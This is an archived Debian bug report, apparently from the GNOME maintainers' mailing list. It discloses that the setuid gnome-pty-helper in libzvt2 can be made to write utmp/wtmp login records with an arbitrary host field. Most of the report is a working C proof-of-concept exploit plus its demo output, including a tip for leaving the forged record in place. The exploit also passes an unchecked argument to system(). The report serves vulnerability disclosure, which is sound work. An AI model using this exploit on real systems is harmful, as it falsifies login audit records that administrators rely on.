Bug#329156: /usr/sbin/gnome-pty-helper: writes arbitrary utmp
records
Paul Szabo
psz at maths.usyd.edu.au
Mon Sep 19 23:01:20 UTC 2005
Package: libzvt2
Version: 1.4.2-19
Severity: critical
File: /usr/sbin/gnome-pty-helper
Justification: root security hole
gnome-pty-helper can be made to write utmp/wtmp records with arbitrary
DISPLAY (host) settings. I am not sure if it can be tricked into erasing
existing records.
Demo output, code below.
Cheers,
Paul Szabo psz at maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics University of Sydney Australia
OUTPUT:
psz at savona:~$ gnome-pty-helper-exploit xyz & sleep 1; who; ps aux | grep psz; sleep 6; who
[1] 31444
Writing utmp (who) record for DISPLAY=xyz
Running who | grep xyz
psz pts/2 Sep 20 08:40 (xyz)
utmp (who) record will be cleaned up when we exit.
To leave it behind, kill gnome-pty-helper: kill 31446
Sleeping for 5 secs...
psz pts/2 Sep 20 08:40 (xyz)
psz pts/1 Sep 20 08:33 (y622.yt.maths.usyd.edu.au:0.0)
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
psz 31358 0.0 0.3 10340 7768 ? S 08:14 0:00 xterm -T psz at savona -n psz at savona -sb -sl 10000 -ls
psz 31444 0.0 0.0 1484 380 pts/1 S 08:21 0:00 gnome-pty-helper-exploit xyz
psz 31446 0.0 0.0 1696 604 pts/1 S 08:21 0:00 gnome-pty-helper
psz 31454 0.0 0.0 2496 848 pts/1 R+ 08:21 0:00 ps aux
[1]+ Done gnome-pty-helper-exploit xyz
psz pts/1 Sep 20 08:33 (y622.yt.maths.usyd.edu.au:0.0)
CODE:
/*
Must be compiled against (within)
gnome-libs-1.4.2/zvt
because it uses *.h files from there.
Code "stolen" from subshell.c .
*/
#include <sys/types.h>
#include "subshell-includes.h"
#define ZVT_TERM_DO_UTMP_LOG 1
#define ZVT_TERM_DO_WTMP_LOG 2
#define ZVT_TERM_DO_LASTLOG 4
/* Pid of the helper SUID process */
static pid_t helper_pid;
/* The socketpair used for the protocol */
int helper_socket_protocol [2];
/* The parallel socketpair used to transfer file descriptors */
int helper_socket_fdpassing [2];
#include <sys/socket.h>
#include <sys/uio.h>
static struct cmsghdr *cmptr;
#define CONTROLLEN sizeof (struct cmsghdr) + sizeof (int)
static int
receive_fd (int helper_fd)
{
struct iovec iov [1];
struct msghdr msg;
char buf [32];
iov [0].iov_base = buf;
iov [0].iov_len = sizeof (buf);
msg.msg_iov = iov;
msg.msg_iovlen = 1;
msg.msg_name = NULL;
msg.msg_namelen = 0;
if (cmptr == NULL && (cmptr = malloc (CONTROLLEN)) == NULL)
return -1;
msg.msg_control = (caddr_t) cmptr;
msg.msg_controllen = CONTROLLEN;
if (recvmsg (helper_fd, &msg, 0) <= 0)
return -1;
return *(int *) CMSG_DATA (cmptr);
}
static int
s_pipe (int fd [2])
{
return socketpair (AF_UNIX, SOCK_STREAM, 0, fd);
}
static void *
get_ptys (int *master, int *slave, int update_wutmp)
{
GnomePtyOps op;
int result, n;
void *tag;
if (helper_pid == -1)
return NULL;
if (helper_pid == 0){
if (s_pipe (helper_socket_protocol) == -1)
return NULL;
if (s_pipe (helper_socket_fdpassing) == -1){
close (helper_socket_protocol [0]);
close (helper_socket_protocol [1]);
return NULL;
}
helper_pid = fork ();
if (helper_pid == -1){
close (helper_socket_protocol [0]);
close (helper_socket_protocol [1]);
close (helper_socket_fdpassing [0]);
close (helper_socket_fdpassing [1]);
return NULL;
}
if (helper_pid == 0){
close (0);
close (1);
dup2 (helper_socket_protocol [1], 0);
dup2 (helper_socket_fdpassing [1], 1);
/* Close aliases */
close (helper_socket_protocol [0]);
close (helper_socket_protocol [1]);
close (helper_socket_fdpassing [0]);
close (helper_socket_fdpassing [1]);
execl ("/usr/sbin/gnome-pty-helper", "gnome-pty-helper", NULL);
exit (1);
} else {
close (helper_socket_fdpassing [1]);
close (helper_socket_protocol [1]);
/*
* Set the close-on-exec flag for the other
* descriptors, these should never propagate
* (otherwise gnome-pty-heler wont notice when
* this process is killed).
*/
fcntl (helper_socket_protocol [0], F_SETFD, FD_CLOEXEC);
fcntl (helper_socket_fdpassing [0], F_SETFD, FD_CLOEXEC);
}
}
op = GNOME_PTY_OPEN_NO_DB_UPDATE;
if (update_wutmp & ZVT_TERM_DO_UTMP_LOG){
if (update_wutmp & (ZVT_TERM_DO_WTMP_LOG | ZVT_TERM_DO_LASTLOG))
op = GNOME_PTY_OPEN_PTY_LASTLOGUWTMP;
else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG)
op = GNOME_PTY_OPEN_PTY_UWTMP;
else if (update_wutmp & ZVT_TERM_DO_LASTLOG)
op = GNOME_PTY_OPEN_PTY_LASTLOGUTMP;
else
op = GNOME_PTY_OPEN_PTY_UTMP;
} else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG) {
if (update_wutmp & (ZVT_TERM_DO_WTMP_LOG | ZVT_TERM_DO_LASTLOG))
op = GNOME_PTY_OPEN_PTY_LASTLOGWTMP;
else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG)
op = GNOME_PTY_OPEN_PTY_WTMP;
} else
if (update_wutmp & ZVT_TERM_DO_LASTLOG)
op = GNOME_PTY_OPEN_PTY_LASTLOG;
if (write (helper_socket_protocol [0], &op, sizeof (op)) < 0)
return NULL;
n = read (helper_socket_protocol [0], &result, sizeof (result));
if (n == -1 || n != sizeof (result)){
helper_pid = 0;
return NULL;
}
if (result == 0)
return NULL;
n = read (helper_socket_protocol [0], &tag, sizeof (tag));
if (n == -1 || n != sizeof (tag)){
helper_pid = 0;
return NULL;
}
*master = receive_fd (helper_socket_fdpassing [0]);
*slave = receive_fd (helper_socket_fdpassing [0]);
return tag;
}
int main (int argc, char* argv[])
{
int slave_pty, master_pty;
void* mytag;
int log = ZVT_TERM_DO_UTMP_LOG;
char buf[1000];
printf("Writing utmp (who) record for DISPLAY=%s\n", argv[1]);
setenv("DISPLAY",argv[1],1);
if ((mytag = get_ptys (&master_pty, &slave_pty, log)) == NULL)
return;
sprintf(buf,"who | grep %s",argv[1]);
printf("Running %s\n",buf);
system(buf);
printf("utmp (who) record will be cleaned up when we exit.\n");
printf("To leave it behind, kill gnome-pty-helper: kill %d\n",helper_pid);
printf("Sleeping for 5 secs...\n");
sleep (5);
}
-- System Information:
Debian Release: 3.1
Architecture: i386 (i686)
Kernel: Linux 2.6.8-spm0.5
Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968)
Versions of packages libzvt2 depends on:
ii gdk-imlib1 1.9.14-16.2 imaging library for use with gtk (
ii libc6 2.3.2.ds1-22 GNU C Library: Shared libraries an
ii libglib1.2 1.2.10-9 The GLib library of C routines
ii libgtk1.2 1.2.10-17 The GIMP Toolkit set of widgets fo
ii libx11-6 4.3.0.dfsg.1-14 X Window System protocol client li
ii xlibs 4.3.0.dfsg.1-14 X Keyboard Extension (XKB) configu
ii zlib1g 1:1.2.2-4.sarge.2 compression library - runtime
-- no debconf information
More information about the Pkg-gnome-maintainers
mailing list